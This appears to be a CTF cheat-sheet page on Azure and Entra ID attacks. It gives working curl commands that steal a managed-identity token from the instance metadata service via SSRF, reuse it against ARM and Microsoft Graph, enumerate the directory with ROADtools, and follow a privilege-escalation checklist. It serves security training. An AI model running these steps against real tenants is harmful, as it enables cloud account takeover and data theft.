Azure & Entra ID Attacks

Azure CTF challenges revolve around two trust boundaries: the compute identity baked into a VM, container, or App Service (a managed identity), and the directory identity layer — Entra ID (formerly Azure AD), which governs users, groups, service principals, and app registrations. The classic chain mirrors AWS: an SSRF reaches the local metadata service, you steal an OAuth bearer token, and that token unlocks the Azure Resource Manager (ARM) control plane or Microsoft Graph.

The crucial Azure twist is token audiences. Unlike AWS, where one set of credentials works everywhere, Azure tokens are scoped to a single resource (audience). A token minted for ARM will not authenticate to Graph, and vice versa — so you request a separate token per target API.

SSRF → IMDS → Token Attack Chain

The Azure IMDS Endpoint

Every Azure VM exposes the Instance Metadata Service at 169.254.169.254. Two things differ from AWS IMDS and trip up first-timers:

1. Every request must carry the header Metadata: true. There is no token-exchange step like AWS IMDSv2 — the header alone is the anti-SSRF control, and any SSRF that can set headers defeats it.
2. The token endpoint takes a resource query parameter naming the audience you want a token for.

# Request an ARM-scoped token from the VM IMDS
curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

The JSON response contains access_token (a JWT), expires_in, and resource. Decode the JWT at the audience (aud) claim to confirm what it is good for.

Token Audiences (resource values)

A token only works against its aud. Request one per API you intend to hit.

Using a Stolen Token

Once you have a raw bearer token you can either call the REST APIs directly with curl, or hand it to the Azure CLI. The CLI is usually faster for enumeration.

TOKEN="<access_token from IMDS>"

# ARM: list subscriptions reachable by this identity
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://management.azure.com/subscriptions?api-version=2022-12-01"

# Graph: who am I / what can I see
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
  "https://graph.microsoft.com/v1.0/me"

Entra ID Enumeration

With a Graph-audience token you map the directory: users, groups, service principals, app registrations, and directory role assignments. The goal is to find a principal whose privileges exceed yours — then become it.

curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
  "https://graph.microsoft.com/v1.0/me" | jq '{id, userPrincipalName, displayName}'

# Users, groups, service principals, app registrations
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" "https://graph.microsoft.com/v1.0/users" | jq '.value[].userPrincipalName'
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" "https://graph.microsoft.com/v1.0/servicePrincipals" | jq '.value[].appDisplayName'
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" "https://graph.microsoft.com/v1.0/applications" | jq '.value[].appId'

curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
  "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"

roadrecon auth --access-token "$GRAPH_TOKEN"
roadrecon gather
roadrecon gui     # browse the tenant

Common Misconfigurations

Tooling Quick Reference

Checklist

• Confirm SSRF reaches 169.254.169.254 with a Metadata: true header (or read IDENTITY_ENDPOINT/IDENTITY_HEADER on App Service/Functions)
• Request a separate token per resource audience (ARM vs Graph vs Key Vault)
• Decode the JWT aud claim to confirm the token target before using it
• With ARM token: az login --identity, list resources, VMs, storage, Key Vaults
• With Graph token: enumerate users, service principals, app registrations, role assignments (ROADtools)
• Hunt over-privileged roles: Owner, User Access Administrator, broad Graph app roles
• Check storage accounts for public containers and leaked SAS tokens
• Look for leaked app-registration secrets (client_id + client_secret + tenant_id)
• Re-enumerate after each escalation (role grant, added app secret, assumed SP)

See Also

• AWS Metadata (IMDS) Attacks
• GCP Attacks
• IAM Privilege Escalation
• S3 Misconfiguration
• Secrets in CI/CD

Last updated on Jun 15, 2026